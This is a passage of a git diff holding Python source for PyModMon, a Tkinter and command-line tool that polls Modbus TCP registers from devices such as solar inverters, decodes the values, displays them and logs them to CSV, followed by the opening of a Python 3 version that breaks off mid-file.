open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = 